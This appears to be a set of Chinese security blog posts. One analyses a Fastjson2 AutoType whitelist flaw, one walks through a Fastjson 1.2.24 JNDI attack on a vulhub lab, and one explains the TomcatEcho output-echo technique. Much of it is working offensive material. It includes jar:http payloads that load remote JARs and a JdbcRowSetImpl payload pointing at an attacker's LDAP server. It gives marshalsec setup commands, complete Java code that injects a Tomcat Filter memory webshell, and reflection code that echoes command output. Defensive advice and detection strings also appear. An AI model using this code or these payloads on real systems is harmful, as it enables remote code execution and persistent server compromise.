Fastjson2 是 Fastjson 的继任者,也是目前阿里系默认推荐的 JSON 库。历史上 Fastjson 的漏洞大多围绕 AutoType 和 gadget 展开,Fastjson2 则重新设计了 AutoType 的默认策略和白名单机制。但这一次,问题出在白名单机制本身。
先说结论:
- 漏洞根因不是”某个输入没过滤好”,而是 AutoType 白名单校验存在三层结构性缺陷:FNV-1a 哈希白名单只校验哈希不校验文本、类型名中的 URL 特殊字符(
:、!)未过滤、多态反序列化(@JSONType(seeAlso=...))会自动开启 SupportAutoType。 - 公开利用链(ObjectReaderSeeAlso 路线)不需要 FNV 哈希碰撞,走的是 SupportAutoType 开启后的 fallback 路径,把攻击者控制的类型名直接送进类加载器。
- JDK 8 下可以一步远程加载恶意 JAR 完成 RCE;JDK 9+ 一阶段会触发
ClassFormatError,但远程 JAR 已被下载并缓存,可复用文件描述符做两阶段续接。 - 官方已确认问题(Issue #7702),但修复 PR #7695 未合并,截至分析时所有已发布版本均无正式修复;
-Dfastjson2.parser.safeMode=true是目前最直接的缓解手段。
1. 漏洞入口:多态 DTO + 指定目标类型
典型危险入口是”把请求体解析成带多态注解的具体类型”:
@PostMapping("/parseAnimal")
@ResponseBody
public Map<String, Object> parseAnimal(@RequestBody String payload) {
// 带 @JSONType(seeAlso=...) 的多态基类 → ObjectReaderSeeAlso
Object obj = JSON.parseObject(payload, Animal.class);
...
}
@JSONType(seeAlso = {Dog.class, Cat.class})
public class Animal {
private String name;
// getter / setter ...
}
class Dog extends Animal { ... }
class Cat extends Animal { ... }
这里有两个关键差异:
JSON.parseObject(body, Object.class):目标类型是Object,没有多态注解,安全,返回普通JSONObject。JSON.parseObject(body, Animal.class):目标类型带@JSONType(seeAlso=...),Fastjson2 会创建 ObjectReaderSeeAlso,攻击路径从这里开始。
也就是说,判断风险不能只看”AutoType 开没开”,还要看解析目标类型本身。
2. 根因:AutoType 白名单的三个缺陷
Fastjson2 的 AutoType 校验逻辑在 ObjectReaderProvider#checkAutoType()。它把用户可控的 @type 交给 TypeUtils.loadClass() 之前,先做白名单校验。这个校验存在三个可叠加的缺陷。
2.1 缺陷一:FNV-1a 哈希白名单,只校验哈希,不校验文本
Fastjson2 用 FNV-1a 64 位哈希对白名单类名做校验:
long hash = FNV_OFFSET_64;
for (int i = 0; i < typeName.length(); i++) {
hash ^= typeName.charAt(i);
hash *= FNV_PRIME_64;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = loadClass(typeName); // ← 仅哈希命中就加载!
}
}
白名单存的是类名前缀的哈希值,而不是类名文本本身。默认情况下 acceptHashCodes 只有 1 个条目(-6293031534589903644L)。
问题在于:哈希命中的是前缀,但随后 loadClass() 拿到的却是包含后缀的完整类型名。
校验:prefix (哈希命中即通过)
使用:prefix + suffix (完整类型名交给类加载器)
检查的对象和加载的对象不是同一段文本。攻击者只要让”! 之前的某段前缀”碰撞到默认哈希,后面的类名后缀就可以任意指定。这就是”哈希校验无文本验证”的含义。
2.2 缺陷二:URL 特殊字符未过滤,jar:http:// 能抵达类加载器
TypeUtils.loadClass() 没有拒绝类型名中的 :(协议分隔符)和 !(JAR entry 分隔符)。
于是 @type 的值不再只是 Java 类名,而可以是一个 URL:
jar:http://attacker:18080/exploit!/Evil
jar: URL 一旦被交给 URLClassLoader 解析,就会触发远程 JAR 下载。这是整条链从”类型名”变成”网络请求”的关键。
2.3 缺陷三:ObjectReaderSeeAlso 自动开启 SupportAutoType
这是”默认配置(AutoType 关闭)也能打”的关键。
当应用把请求体解析成带 seeAlso 的基类时,Fastjson2 会构造 ObjectReaderSeeAlso,其构造过程会自动把 SupportAutoType 特性位打开:
// ObjectReaderSeeAlso 构造逻辑(示意)
this.features |= JSONReader.Feature.SupportAutoType.mask;
再看 checkAutoType() 的判定:
if (autoTypeSupport || jsonType || expectClassFlag) {
// 哈希命中 → loadClass
// 哈希不命中但 SupportAutoType 已开启 → fallback,同样走到 loadClass
}
AutoType 默认关闭时,哈希不命中本该返回 null 中断解析;但 SupportAutoType 一旦被 ObjectReaderSeeAlso 打开,哈希不命中也不会中断,而是直接 fallback 到 TypeUtils.loadClass(typeName)。
这就是公开链”不需要 FNV 碰撞”的原因:它绕过的是白名单校验的中断分支,而不是哈希本身。
3. 从 @type 到类加载:SeeAlso 公开链
把三层缺陷串起来,完整链路如下:
POST /parseAnimal
{"@type":"jar:http:..localhost:18080.exploit!.Evil"}
│
▼
JSON.parseObject(body, Animal.class)
│ Animal 有 @JSONType(seeAlso=...)
│ → 使用 ObjectReaderSeeAlso
▼
ObjectReaderSeeAlso 构造时 features |= SupportAutoType.mask
▼
checkAutoType("jar:http:..localhost:18080.exploit!.Evil", Animal.class, features)
│ SupportAutoType = ON → 哈希不命中也不返回 null
▼
TypeUtils.loadClass(typeName) ← fallback
│ 线程上下文类加载器.loadClass(name)
▼
ClassLoader.checkName —— 类型名没有 '/',通过
▼
URLClassLoader.findClass(name)
│ path = name.replace('.', '/') + ".class"
│ path = "jar:http://localhost:18080/exploit!/Evil.class"
▼
JarURLConnection → HTTP GET http://localhost:18080/exploit → 下载 JAR
▼
defineClass("jar:http:..localhost:18080.exploit!.Evil", bytes)
│ 字节码内部名与外部名匹配
│ 恶意类 extends Animal 通过 isAssignableFrom 检查
▼
Evil.<clinit>() → Runtime.exec(...) → RCE
3.1 点号编码绕过 checkName('/')
java.lang.ClassLoader.checkName() 拒绝二进制名中包含 / 的类型名:
private void checkName(String name) {
if (name.indexOf('/') != -1) {
throw new NoClassDefFoundError(name);
}
}
但 URLClassLoader.findClass() 又会把类型名里的 . 还原成 /:
外部类型名(载荷): jar:http:..localhost:18080.exploit!.Evil
↓ findClass.replace('.', '/')
还原后的资源路径: jar:http://localhost:18080/exploit!/Evil.class
所以攻击者把 URL 里的每个 / 编码成 .,既绕过了 checkName,又让 findClass 自动还原:
| 原始 URL 片段 | 点号编码后的类型名 | findClass 还原后 |
|---|---|---|
http:// |
http:.. |
http:// |
/exploit!/ |
.exploit!. |
/exploit!/ |
/Evil |
.Evil |
/Evil |
3.2 寻址约束:host 不能含点号
因为 . 会被替换成 /,载荷里的 host 部分不能出现点号:
| 方案 | 载荷示例 | 说明 |
|---|---|---|
| localhost | jar:http:..localhost:18080.exploit!.Evil |
本地测试首选 |
| 十进制 IP | jar:http:..2130706433:18080.exploit!.Evil |
公网攻击,127.0.0.1 → 2130706433 |
| 短主机名 | jar:http:..attacker:18080.exploit!.Evil |
目标 hosts/DNS 里配短名 |
| IPv6 | jar:http:..[2001:db8::1]:18080.exploit!.Evil |
双方需 IPv6 |
点分 IP 127.0.0.1 会变成 127/0/0/1,域名 evil.com 会变成 evil/com,都不可用。十进制 IP 是公网远程攻击的常用选择,但要注意目标 JVM 若走 HTTP 代理会出现连接超时,需要 -Djava.net.useSystemProxies=false 或直连环境。
3.3 字节码内部名与 defineClass 匹配
defineClass 要求字节码内部的类名把 / 换成 . 之后,与传入的 name 一致:
字节码内部名: jar:http://localhost:18080/exploit!/Evil
↓ replace('/', '.')
内部名点号形式: jar:http:..localhost:18080.exploit!.Evil
↓
defineClass name: jar:http:..localhost:18080.exploit!.Evil ← 匹配 ✓
恶意类需要继承目标基类(本例是 Animal),否则会被 isAssignableFrom() 检查拦下。所以公开 EXP 的远程类必须用 ASM 直接生成字节码,在字节码层面指定父类为 com/vuln/fastjson/Animal,并在 <clinit> 静态块里放命令执行逻辑。
4. JDK 8 为什么直接 RCE,JDK 9+ 为什么失败
本地实测(macOS,JDK 8u461)确认:JDK 8 的 ClassFileParser 接受类名中的 !,jar:http:...exploit!.Evil 可以完成类定义,静态初始化直接触发。
而 JDK 9+ 对 class 文件内部名称校验更严格,http:// 的连续斜杠直接报错:
java.lang.ClassFormatError: Illegal class name
"jar:http://localhost:18080/exploit!/Evil"
| 环境 | 一阶段 jar:http |
结果 |
|---|---|---|
| JDK 8 | 下载 JAR → defineClass 通过 | 直接 RCE |
| JDK 9+ | 下载 JAR → defineClass 失败 | ClassFormatError |
注意关键点:JDK 9+ 虽然类定义失败,但远程 JAR 已经被下载下来了。这一步的副作用是后续两阶段利用的基础。
5. 高版本 JDK 的两阶段 FD 续接
JVM 处理 JarURLConnection 时会把远程 JAR 缓存到本地临时文件,并保持文件描述符打开。Linux 可以通过 /proc/self/fd/N、macOS 通过 /dev/fd/N 重新访问进程持有的 fd。
于是 JDK 9+ 的思路变成两段:
阶段 1:jar:http://attacker/payload!/Evil
→ 触发远程 JAR 下载,JVM 缓存为临时文件并保持 fd 打开
→ JDK 9+ 类定义失败(ClassFormatError),但副作用已留下
阶段 2:jar:file:/proc/self/fd/N!/fdN/Evil (Linux)
或 jar:file:/dev/fd/N!/fdN/Evil (macOS)
→ 从本地 fd 重新打开同一个 JAR
→ 内部名不再是 http://,避开一阶段的连续斜杠问题
→ 类定义成功 → <clinit> 执行
公开研究在 Spring Boot 2.7 / 3.3 + JDK 21 的 Tomcat、Jetty、Undertow、WebFlux 八组环境里,均观察到”一阶段下载 JAR → ClassFormatError → 复用残留 fd → 二阶段 marker 初始化成功”。
一个需要如实说明的细节:我们本地尝试过的朴素 /proc/self/fd 两阶段(2.0.61,非 SeeAlso 入口)是失败的——因为入口没有走到 TypeUtils.loadClass(),第一个阶段连远程 JAR 都没下载。两阶段成立的前提是走 SeeAlso 这类能把类型名送进类加载器的入口,不能把 Fastjson 1.x 的利用姿势直接套到 fastjson2。
两阶段不是”发两个包就能打穿所有环境”,它依赖一串工程条件:
两次请求进入同一个 JVM
一阶段已下载并打开远程 JAR
类加载器在异常后继续持有缓存 fd
第二阶段命中正确的 fd
操作系统暴露进程 fd 路径
远程类满足目标基类的继承关系
后端允许访问攻击者控制的 HTTP 服务
负载均衡、实例扩缩容、fd 生命周期、容器权限和出站策略都会改变成功率。所以”一阶段失败”不能被简单理解为”这个版本不可利用”。
6. 部署形态与 ClassLoader:决定公开链能走多远
公开 EXP 是否产生远程 JAR 请求,跟 Spring MVC 这个名字无关,真正决定的是运行时资源解析方式(ClassLoader)。
| 部署形态 | ClassLoader 特征 | 公开链表现 |
|---|---|---|
| Spring Boot 可执行 JAR(Boot 2.7) | LaunchedURLClassLoader(Tomcat 请求线程为 TomcatEmbeddedWebappClassLoader,父加载器是 Boot 体系) | 远程 JAR 请求 + RCE / FD 续接 |
| Spring Boot 可执行 JAR(Boot 3.3) | 容器 WebApp ClassLoader,但父加载器是 LaunchedClassLoader | 同上 |
| 外置 WAR(Tomcat / Jetty) | 容器 WebApp ClassLoader | 进入 SeeAlso,但无远程请求 |
| 非 Spring(Solon、Jersey、RESTEasy、纯 Java) | 各自类加载器 | 进入 SeeAlso,无远程请求 |
也就是说:
- Spring Boot 可执行 JAR 是公开链的典型生效场景。
- 外置 WAR 和非 Spring 应用,根因仍然存在(SeeAlso 一样会建),但所测部署形态没有产生远程 JAR 请求,能不能利用取决于容器 ClassLoader 对
jar:资源的解析行为。
判断风险时,要记录的不只是 fastjson2 版本,还包括打包方式、JDK 版本和 ClassLoader 类型。
7. 官方状态与补丁
7.1 官方确认
Fastjson2 维护方在 Issue #7702 的回复中确认了四点:
- AutoType 类型解析路径存在安全问题;
- 问题在特定条件下可能被利用;
- PR #7695 不是已合并的正式修复;
- 正式修复会通过独立 PR 合并,并随后续版本发布。
也就是说,虽然公告建议升级到 2.0.63+,但截至分析时发布版本中尚无正式修复,处置状态要以官方新 PR、Release 和安全公告为准。
7.2 候选补丁 PR #7695
PR #7695 未合并,但仍有分析价值。它主要做三件事:
// 1. 拒绝 URL 特殊字符(: 和 !)
if (typeName.indexOf(':') >= 0 || typeName.indexOf('!') >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
// 2. 哈希命中后核对真实文本前缀
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
String prefix = typeName.substring(0, i + 1);
if (!acceptNameSet.contains(prefix)) { // 新增文本校验
continue;
}
clazz = loadClass(typeName);
}
// 3. loadClass 前补全统一校验 + 黑名单
if (ClassLoader.class.isAssignableFrom(clazz)
|| JDKUtils.isSQLDataSourceOrRowSet(clazz)) {
throw new JSONException("autoType is not support.");
}
这三处改动指向同一个边界:用户控制的类型名经过不足的校验进入了类加载器。
7.3 时间线
| 时间 | 事件 |
|---|---|
| 2026-07 | 长亭科技发现并报告,Issue #7702 公开 |
| 2026-07 | 提交候选补丁 PR #7695 |
| 2026-07 | 维护方确认问题存在;PR #7695 关闭,未合并 |
| 截至分析时 | 所有已发布版本均无正式修复 |
8. 防护建议
正式修复发布前,下面几步已经可以切断公开链的关键位置。
8.1 开启 SafeMode(P0)
-Dfastjson2.parser.safeMode=true
兼容属性也有效(两者不要设置成冲突的值):
-Dfastjson.parser.safeMode=true
修改 JVM 启动参数后需要重启应用。
8.2 网关解析 JSON 后拒绝 @type(P1)
业务完全不使用多态 @type 时,网关可以在任意层级拒绝出现这个键的请求。不要在 Nginx rewrite 阶段用正则匹配 $request_body——Nginx 原生正则不理解 JSON 结构,还受请求体落盘、Unicode 转义、压缩影响。更稳妥的做法是让 ModSecurity / Nginx JavaScript / OpenResty Lua 先解析 JSON,再递归检查键名:
SecRule REQUEST_HEADERS:Content-Type \
"@rx (?i)^application/(?:[a-z0-9.+-]+\+)?json" \
"id:100100,phase:1,pass,nolog,ctl:requestBodyProcessor=JSON"
SecRule ARGS_NAMES "@contains @type" \
"id:100101,phase:2,deny,status:403,log,msg:'Blocked JSON @type key'"
8.3 限制后端出站(P2)
公开链需要后端 JVM 主动外连获取远程 JAR。用容器 NetworkPolicy、主机防火墙或云安全组把出站收敛到业务白名单,重点限制业务 JVM → 公网 HTTP/HTTPS、非必要内网地址、云元数据与管理网段。
8.4 资产盘点(P3)
| 排查项 | 方法 |
|---|---|
| fastjson2 版本 | find . -name "fastjson2-*.jar" |
| 解析目标类型 | grep -rn "parseObject.*\.class" --include="*.java" . |
| SeeAlso 基类 | grep -rn "@JSONType.*seeAlso" --include="*.java" . |
| 打包方式 / JDK / 出站策略 / SafeMode | 结合部署清单核对 |
8.5 检测特征
建议记录并告警以下请求特征:
"@type"
"jar:http"
"jar:file"
"/proc/self/fd"
"/dev/fd"
不要在 WAF 里只按明文正则拦截——@type、jar:、IP 都可能经过编码、转义或分块传输。十进制 IP(如 2130706433)、Unicode 转义、嵌套 JSON 都是常见的绕过方式,语义层检测才有意义。
9. 总结
这个漏洞的危险性来自三层机制的叠加:
- AutoType 白名单校验有结构缺陷——FNV-1a 哈希只校验哈希不校验文本,检查的对象和加载的对象不是同一段文本;
jar:http://能抵达类加载器——类型名中的:和!未过滤,配合点号编码绕过checkName('/'),一个”类名”就变成了远程 JAR 下载;- 多态反序列化自动开启 AutoType——
@JSONType(seeAlso=...)让默认关闭的 AutoType 在特定入口失效,这是”默认配置可攻击”的根本原因。
JDK 8 的链路是直的:
jar:http → getResourceAsStream → loadClass → defineClass → <clinit>
JDK 9+ 的链路是绕的:
jar:http → 缓存 JAR 到 fd(一阶段 ClassFormatError)
→ jar:file:/dev/fd/N(或 /proc/self/fd/N)→ defineClass → <clinit>
它不是传统 gadget 型反序列化漏洞,而是 Fastjson2 类型探测、JVM ClassLoader 行为和操作系统 fd 机制共同造成的一条跨层利用链。
最后提醒一句:这类漏洞的修复周期往往比人们预期长——”补丁 PR 已提交”不等于”漏洞已修复”。发布版本确认修复之前,SafeMode + 网关拦截 + 出站白名单是最可靠的三道闸。
参考资料
Fastjson 实战注入内存马
Fastjson 实战注入内存马
《Fastjson反序列化漏洞深度剖析》 讲了 AutoType 漏洞原理;《反序列化与 JNDI 无文件注入内存马》 讲了无文件注入的通用链路。这一篇把两者接起来,完整走一遍 Fastjson 1.2.24 → JNDI → 注入 Filter 内存马 → 命令回显的实战,并记录一个真实踩坑:为什么现成的 JNDIExploit 工具打不进去。
本质:Fastjson 解析 @type 时反射实例化 com.sun.rowset.JdbcRowSetImpl,setDataSourceName + setAutoCommit(true) 触发 JNDI lookup,从攻击者 LDAP/RMI 服务远程加载恶意类;恶意类无参构造方法里用无 request 反射链拿 StandardContext,defineClass 加载恶意 Filter 完成注入。
一、为什么用 vulhub 靶场反而打不进去
用现成的 JNDIExploit 或手写 payload 打 vulhub 的 fastjson 1.2.24 靶场,通常注入不成功。排查方法:进容器把 jar 拿出来看版本。
# 从运行中的容器拷贝出应用 jar
docker-compose cp web:/usr/src/fastjsondemo.jar fastjsondemo.jar
# 解压看 Tomcat 版本
unzip -l fastjsondemo.jar | grep -i tomcat
发现 vulhub 靶场用的是 Tomcat 9,而不是本机测试的 Tomcat 8。差异就出在《反序列化与 JNDI 无文件注入内存马》 第三节的兼容坑上:Tomcat 9 里 WebappClassLoaderBase.getResources() 已弃用,直接调用返回 null → NPE,注入类一进构造方法就崩。
二、恶意注入类设计
2.1 无 request 拿 StandardContext(Tomcat 9 兼容写法)
JNDI 加载的类只有构造方法 / static 块会被执行,没有 request。用线程上下文类加载器往下翻,并反射取 resources 字段(兼容 Tomcat 9,弃用的 getResources() 会返回 null):
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import java.lang.reflect.Field;
public StandardContext getContext() {
WebappClassLoaderBase cl =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
try {
Field field = WebappClassLoaderBase.class.getDeclaredField("resources");
field.setAccessible(true);
StandardRoot root = (StandardRoot) field.get(cl);
return (StandardContext) root.getContext();
} catch (Exception e) {
return null;
}
}
2.2 defineClass 加载恶意 Filter
恶意 Filter(ShellFilter)不在目标 classpath,先本地用 javassist 转成 Base64,注入端 ClassLoader.defineClass 还原:
public Filter getFilter() throws Exception {
String code = "yv66vgAA..."; // ShellFilter 字节码的 Base64(javassist 生成)
byte[] bytes = Base64.getDecoder().decode(code);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Method define = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, int.class, int.class);
define.setAccessible(true);
Class<?> clazz = (Class<?>) define.invoke(cl, bytes, 0, bytes.length);
return (Filter) clazz.getDeclaredConstructor().newInstance();
}
2.3 构造方法里完成注入
public class Inject {
public Inject() throws Exception { // ← JNDI 加载后自动执行
StandardContext context = getContext();
Filter filter = getFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("shell");
filterDef.setFilter(filter);
filterDef.setFilterClass(filter.getClass().getName());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("shell");
filterMap.addURLPattern("/*");
context.addFilterDef(filterDef);
context.addFilterMapBefore(filterMap);
context.filterStart();
System.out.println("注入成功");
}
}
版本注意:Tomcat 9 是
javax.servlet+tomcat-catalina 9.0.x;Tomcat 10+ 要换jakarta.servlet。编译注入类时依赖的tomcat-catalina版本要与目标运行时一致(见《Fastjson反序列化漏洞深度剖析》的版本章节)。
三、攻击环境搭建
3.1 三步准备
# 1. HTTP 托管编译好的 Inject.class(注入类只有它自己能远程加载)
python3 -m http.server 80
# 2. marshalsec 起 LDAP/RMI 服务,引用指向 Inject
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer "http://攻击者IP/#Inject" 1389
# (JDK 须用 8u191 之前版本启动 marshalsec 与靶场,见第四节)
# 3. 启动 vulhub fastjson 靶场
docker-compose up -d
3.2 触发 payload
Fastjson 1.2.24 的经典 JdbcRowSetImpl 链:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://攻击者IP:1389/Inject",
"autoCommit": true
}
# 发送到靶场的反序列化接口
curl -X POST http://靶机IP:8080/ \
-H "Content-Type: application/json" \
-d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击者IP:1389/Inject","autoCommit":true}'
触发链路:
Fastjson 解析 @type → Class.forName("JdbcRowSetImpl") → new 实例
→ setDataSourceName("ldap://.../Inject")
→ setAutoCommit(true) → 内部 connect()
→ JNDI lookup("ldap://攻击者:1389/Inject")
→ 恶意 LDAP 返回 Reference → 远程加载 Inject.class → new Inject()
→ 构造方法:defineClass(ShellFilter) + 注册 Filter → 内存马落地
3.3 验证
# 注入后任意请求带 cmd 即命令回显
curl "http://靶机IP:8080/?cmd=whoami"
curl "http://靶机IP:8080/?cmd=cat /etc/passwd"
四、版本与限制(为什么很多靶场打不通)
| 限制 | 版本边界 | 影响 |
|---|---|---|
| JNDI 远程加载 codebase | JDK 8u191+ 默认关闭(com.sun.jndi.ldap.object.trustURLCodebase=false) |
高版本 JDK 下此链失效,需本地 Factory / 其他绕过 |
| Fastjson AutoType 黑名单 | 1.2.25 起有黑名单,1.2.68 起 SafeMode 默认禁用 AutoType |
低版本裸奔,高版本需 @type 绕过或白名单 |
Tomcat getResources() 弃用 |
Tomcat 9+ | 注入类拿 context 的方式要改(第二节 2.1) |
实战要点:vulhub 这类靶场通常是 JDK 8u62~8u181 + Fastjson 1.2.24(AutoType 全开、无黑名单),所以本链可通;真实目标要先确认 JDK 版本(-Djava.version 或 java -version)、Fastjson 版本(find . -name "fastjson*.jar")、Tomcat 版本,再决定链是否可行。
五、检测与防御
检测
- 反序列化入口:审计是否存在对不可信 JSON 直接
JSON.parseObject且未开SafeMode; - JNDI 行为:RASP 监控
InitialContext.lookup的参数是否来自外部输入; - 注册表:注入完成后,按《内存马检测与清除实操》 的 Filter 枚举方法检查
filterConfigs。
防御
| 层面 | 措施 |
|---|---|
| Fastjson | 升级到安全版本;开启 SafeMode(ParserConfig.getGlobalInstance().setSafeMode(true) 或 -Dfastjson.parser.safeMode=true) |
| JDK | ≥ 8u191,关闭 JNDI 远程加载 |
| RASP | 监控 lookup / defineClass / addFilterDef 的调用栈 |
| 事前 | 修复反序列化入口本身(不可信输入不进 parse) |
总结
这一篇把两条线接上了:
Fastjson AutoType(漏洞)
→ JdbcRowSetImpl 触发 JNDI lookup(入口)
→ 远程加载 Inject 类(无文件落地)
→ 构造方法:defineClass + 注册 Filter(内存马落地)
→ ?cmd=xxx 命令回显(持久化)
核心三点:
- Fastjson 只是”进入 JVM”的入口,真正干活的是 JNDI 远程加载的注入类——所以打好内存马,核心还是《反序列化与 JNDI 无文件注入内存马》 那套”无 request 拿 context + defineClass”;
- 版本是命门:JDK 8u191、Fastjson SafeMode、Tomcat 9 的
getResources(),任何一个没对齐都会失败; - 防御的根仍是切断入口:升级 Fastjson + 开 SafeMode + 升级 JDK,比任何事后查杀都有效。
延伸阅读:《Fastjson反序列化漏洞深度剖析》 《反序列化与 JNDI 无文件注入内存马》 《TomcatEcho 无 request 命令回显》 《内存马检测与清除实操》
TomcatEcho 无 request 命令回显
TomcatEcho:无 request 场景的命令回显
内存马(尤其 Listener / Valve 型)和反序列化 / JNDI 注入场景里,恶意代码常常跑在拿不到 request/response 的地方:static 块、无参构造方法、requestInitialized 回调。命令执行了,结果怎么回给攻击者?——在全局无 request 引用的情况下,从线程上下文类加载器 / 容器内部把当前请求对象”翻”出来,这就是 TomcatEcho。
本质:Thread.currentThread().getContextClassLoader() 持有容器引用,逐层反射 resources → context → service → connectors → protocolHandler → handler → global → processors[] → req,从处理当前请求的线程栈里还原出 connector.Request,getResponse() 直接回显。整体框架见 《内存马原理总纲》。
一、为什么需要 TomcatEcho
1.1 回显方式的演进
| 方式 | 适用场景 | 局限 |
|---|---|---|
| 直接在 handler 里拿 response | Filter / Servlet / Valve 的 doFilter / invoke |
方法签名里就有,无需回显技巧 |
| 两步反射 | Listener 的 requestInitialized:RequestFacade.request → connector.Request.response |
仍需要一个 request 对象在手 |
| TomcatEcho 链 | static 块 / 构造方法 / 反序列化入口,完全无 request | 依赖 Tomcat 内部字段名,版本差异敏感 |
1.2 触发场景
// JNDI 加载的类:只有构造方法会被自动执行
public class Inject {
public Inject() { /* 这里没有 request! */ }
}
// 反序列化加载的类:只有 static 块 / 构造方法
public class ShellLoader extends AbstractTranslet {
static { /* 这里也没有 request! */ }
}
// Listener:只有 ServletRequestEvent,需两步反射拿 response
public class ListenerShell implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) { /* ... */ }
}
这些场景下,RequestContextHolder(Spring)拿不到、request.getSession().getServletContext() 更拿不到——只能从 JVM / 容器内部结构反推。
二、两步反射的局限(Listener 场景)
Listener 的 requestInitialized(ServletRequestEvent sre) 能拿到 ServletRequest(实际是 RequestFacade),所以可以两步反射拿 response:
// RequestFacade 只有 request 字段(指向内部 connector.Request)
Field reqField = servletRequest.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Object innerRequest = reqField.get(servletRequest);
// connector.Request 有 response 字段
Field respField = innerRequest.getClass().getDeclaredField("response");
respField.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) respField.get(innerRequest);
但它依赖手里有一个 request 对象。static 块 / 构造方法里什么都没有,这条路走不通——只能上 TomcatEcho。
三、TomcatEcho 完整链
3.1 核心思想
Thread.currentThread().getContextClassLoader() 在 Web 应用线程里拿到的是 WebappClassLoaderBase,它一路持有容器对象:
Thread.currentThread().getContextClassLoader() // WebappClassLoaderBase
→ resources : StandardRoot // Web 资源根
→ context : StandardContext // 当前应用
→ context : ApplicationContext // (内部还有一个同名字段)
→ service : StandardService // 服务
→ connectors[0] : Connector // 连接器(处理请求的)
→ protocolHandler : AbstractProtocol // 协议处理器
→ handler : AbstractProtocol$ConnectionHandler
→ global : RequestGroupInfo // 全局请求统计
→ processors[] : ArrayList<RequestInfo> // 所有已分配的请求
→ req : org.apache.coyote.Request // 找到当前请求
→ getNote(1) : connector.Request // 还原成高层请求对象
→ getResponse() : connector.Response // 回显
processors[] 里是所有已分配的 RequestInfo(当前正在处理的请求一定在列表里),遍历它逐个 getNote(1),就能拿到当前线程正在处理的请求。
3.2 代码实现
import org.apache.catalina.connector.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.RequestInfo;
import java.util.ArrayList;
public class TomcatEcho {
public static void echo(String result) throws Exception {
// 链式反射拿到 processors 列表(getField 见 3.3)
ArrayList<RequestInfo> infos = (ArrayList<RequestInfo>) getField(
Thread.currentThread().getContextClassLoader(),
WebappClassLoaderBase.class,
"resources:org.apache.catalina.webresources.StandardRoot",
"context:org.apache.catalina.core.StandardContext",
"context",
"service:org.apache.catalina.core.StandardService",
"connectors_0:org.apache.catalina.connector.Connector",
"protocolHandler:org.apache.coyote.AbstractProtocol",
"handler:org.apache.coyote.AbstractProtocol$ConnectionHandler",
"global", "processors"
);
for (RequestInfo ri : infos) {
org.apache.coyote.Request r =
(org.apache.coyote.Request) getField(ri, RequestInfo.class, "req");
Request req = (Request) r.getNote(1); // getNote(1) → connector.Request
Response resp = req.getResponse(); // 直接回显
resp.getWriter().write(result);
resp.getWriter().flush();
}
}
}
3.3 getField():链式反射工具
上面的 getField(obj, clazz, "a:b", "c_1:d", ...) 支持三种语法:
| 语法 | 含义 | 示例 |
|---|---|---|
"name" |
取字段 | "context" |
"name:Type" |
取字段并强转类型 | "resources:org.apache.catalina.webresources.StandardRoot" |
"name_1:Type" |
取字段后按下标取数组/List 元素,再强转 | "connectors_0:org.apache.catalina.connector.Connector" |
public static Object getField(Object obj, Class<?> clazz, String... fieldNames) throws Exception {
for (String part : fieldNames) {
String[] segs = part.split("_", 2);
Field field = clazz.getDeclaredField(segs[0].split(":")[0]);
field.setAccessible(true);
obj = field.get(obj);
if (segs.length > 1) { // 带下标:取数组/List 元素
String[] parts = segs[1].split(":", 2);
int idx = Integer.parseInt(parts[0]);
obj = obj instanceof List
? ((List<?>) obj).get(idx)
: Array.get(obj, idx);
clazz = parts.length > 1 ? Class.forName(parts[1]) : obj.getClass();
} else { // 不带下标:强转
clazz = part.contains(":") ? Class.forName(part.split(":")[1]) : field.getType();
}
}
return obj;
}
例如 "connectors_0:org.apache.catalina.connector.Connector" = 取 connectors 字段的第 0 个元素并强转成 Connector。链式反射 + 类型标注,把原本十几行的逐字段反射压缩成一行参数表,直观且不易写错。
3.4 为什么 getNote(1)
org.apache.coyote.Request 是协议层的请求对象,getNote(int) 是 Tomcat 用来临时挂载关联对象的槽位。Tomcat 内部约定 note(1) 保存着对应的 org.apache.catalina.connector.Request(高层请求对象),拿到它之后 getResponse() 就能回显。
四、变体与版本差异
4.1 关键字段在 Tomcat 8.5 / 9 / 10
| 字段 | 稳定性 | 说明 |
|---|---|---|
WebappClassLoaderBase.resources |
较稳 | 9 中 getResources() 方法弃用,但字段还在(反射取字段兼容) |
StandardService.connectors |
较稳 | 数组,取 [0] |
AbstractProtocol.handler |
较稳 | ConnectionHandler |
RequestInfo.global / processors |
较稳 | 相对稳定 |
r.getNote(1) |
稳定 | 跨版本约定一致 |
10.x 主要是 javax → jakarta 的包名差异,反射字段名基本一致。
4.2 变体:直接从 ConnectionHandler 定位
部分版本可以从 AbstractProtocol$ConnectionHandler 的内部 connections / processors map 直接定位当前线程,逻辑类似,只是入口字段不同。核心不变:从线程能拿到的类加载器 → 容器 → 协议层 → 请求对象。版本差异大时,多准备一两条备用链、逐个 try,是实战通用做法。
五、检测与防御
检测
# 内存 dump / Arthas 中找 TomcatEcho 特征:getNote(1)、RequestInfo、processors 反射遍历
# 或用 RASP 记录 ClassLoader.defineClass 与对 RequestInfo / coyote.Request 的反射访问
| 检测维度 | 说明 |
|———-|——|
| 反射调用特征 | 对 RequestInfo / getNote / processors 的非启动阶段反射 |
| 内存分析 | dump 后搜索 getNote(1) 字符串、RequestInfo 实例 |
| 行为 | 请求处理阶段出现”遍历所有处理器”的可疑调用 |
防御
| 层面 | 措施 |
|---|---|
| 事前 | 修复反序列化 / JNDI 入口——否则任何检测都是事后 |
| 事中 | RASP 监控 ClassLoader.defineClass、对 RequestInfo / getNote 的反射调用栈 |
| 加固 | 确认 Tomcat 版本并跟踪字段变更,必要时用容器镜像锁定版本,降低字段猜测成功率 |
总结
